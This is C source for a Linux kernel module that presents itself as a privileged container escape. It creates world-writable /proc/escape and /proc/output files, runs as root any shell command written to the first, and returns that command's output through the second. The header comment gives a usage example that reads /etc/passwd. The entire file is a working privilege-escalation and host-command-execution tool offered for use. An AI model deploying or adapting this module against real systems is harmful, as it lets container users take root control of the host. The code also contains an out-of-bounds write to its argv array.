/*
 * Linux Privileged Container Escape
 *
 * After building, load with 'insmod escape.ko'
 * Then 'echo "cat /etc/passwd" > /proc/escape' will execute
 * 'cat /etc/passwd' as root and send the output to /proc/output
 * Read /proc/output just like any normal file
 */

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/proc_fs.h>
#include <linux/umh.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Xcellerator");
MODULE_DESCRIPTION("Privileged Container Escape");
MODULE_VERSION("0.01");

struct proc_dir_entry *proc_file_entry_escape;
struct proc_dir_entry *proc_file_entry_output;

char *argv[2];
char *envp[3];

char *cmd_output = NULL;
int cmd_output_len = 0;

/*
 * Execute a process in userspace
 */
int handle_cmd(void)
{
    int ret;

    /*
     * If, for some reason, we get called before a command is set, just return
     */
    if(argv[0] == NULL)
        return 0;

    /*
     * Execute the command stored in argv
     */
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    return ret;
}

/*
 * Grab the string written to /proc/escape, parse it, execute it in userland,
 * redirecting output to /proc/output for saving
 */
ssize_t escape_write(struct file *file, const char *buf, size_t len, loff_t *offset)
{
    int ret;
    char *kbuf = NULL;
    long error;
    char *suffix = " > /proc/output";

    /*
     * Allocate a kernel buffer to read the command input into
     */
    kbuf = kzalloc(len, GFP_KERNEL);
    error = copy_from_user(kbuf, buf, len-1);

    if(error)
        return -1;

    /*
     * call_usermodehelper() requires an array of arguments (argv)
     * We're executing /bin/sh -c 'COMMAND > /proc/output'
     */
    argv[0] = "/bin/sh";
    argv[1] = "-c";
    argv[2] = kzalloc(len+16, GFP_KERNEL);

    strncpy(argv[2], kbuf, len-1);
    strcat(argv[2], suffix);

    /*
     * Execute the command stored in argv
     */
    printk(KERN_DEBUG "escape: executing %s %s %s\n", argv[0], argv[1], argv[2]);
    ret = handle_cmd();

    /*
     * Cleanup and return
     */
    kfree(kbuf);
    return len;
}

/*
 * Take a buffer from userspace and copy it into the kernel buffer cmd_output
 */
ssize_t output_write(struct file *file, const char *buf, size_t len, loff_t *offset)
{
    long error;

    /*
     * If cmd_output is already allocated, free it so we can reallocate it with a new size
     */
    if(cmd_output_len != 0)
        kfree(cmd_output);

    /*
     * Allocate cmd_output with size len (from user)
     */
    cmd_output = kzalloc(len, GFP_KERNEL);

    /*
     * Copy buffer from userspace into cmd_output
     */
    error = copy_from_user(cmd_output, buf, len);
    if(error)
        return -1;

    /*
     * Update cmd_output_len to the size of the buffer from userspace
     */
    cmd_output_len = len;

    return len;
}

/*
 * Copy the cmd_output buffer into the buf provided by userspace
 */
ssize_t output_read(struct file *file, char *buf, size_t len, loff_t *offset)
{
    int ret;
    char *kbuf = NULL;
    long error;
    static int finished = 0;

    /*
     * Allocate a new kernel buffer and copy into our new kernel buffer
     * so we don't touch cmd_output unnecessarily
     */
    kbuf = kzalloc(cmd_output_len, GFP_KERNEL);
    strncpy(kbuf, cmd_output, cmd_output_len);

    /*
     * Copy the kernel buffer back to userspace
     * If we're done, then we return 0 to indicate the userland
     * process to stop reading.
     */
    if ( finished )
    {
        /*
         * No more bytes to return, so tell userland we're done
         * by returning 0
         */
        finished = 0;
        ret = 0;
        goto out;
    }
    else
    {
        /*
         * Copy the kernel buffer back to userspace and return the length
         */
        finished = 1;
        error = copy_to_user(buf, kbuf, cmd_output_len);
        if(error)
            return -1;
        ret = cmd_output_len;
        goto out;
    }

    /*
     * All done - free the kernel buffer and return
     */
out:
    kfree(kbuf);
    return ret;
}

/*
 * structs for the 2 procfs files we need
 */
static const struct file_operations proc_file_fops_escape = {
    .owner = THIS_MODULE,
    .write = escape_write,
};

static const struct file_operations proc_file_fops_output = {
    .owner = THIS_MODULE,
    .read = output_read,
    .write = output_write,
};

/*
 * LKM init function
 */
static int __init escape_init(void)
{
    printk(KERN_INFO "escape: loaded\n");
    
    /*
     * create the proc entries
     */
    proc_file_entry_escape = proc_create("escape", 0666, NULL, &proc_file_fops_escape);
    proc_file_entry_output = proc_create("output", 0666, NULL, &proc_file_fops_output);

    /*
     * check for failures
     */
    if( (proc_file_entry_escape == NULL) || (proc_file_entry_output == NULL) )
        return -ENOMEM;

    return 0;
}

/*
 * LKM exit function
 */
static void __exit escape_exit(void)
{
    /*
     * Free the cmd_output buffer and delete the proc entries
     */
    kfree(cmd_output);
    remove_proc_entry("escape", NULL);
    remove_proc_entry("output", NULL);
    printk(KERN_INFO "escape: unloaded\n");
}

module_init(escape_init);
module_exit(escape_exit);
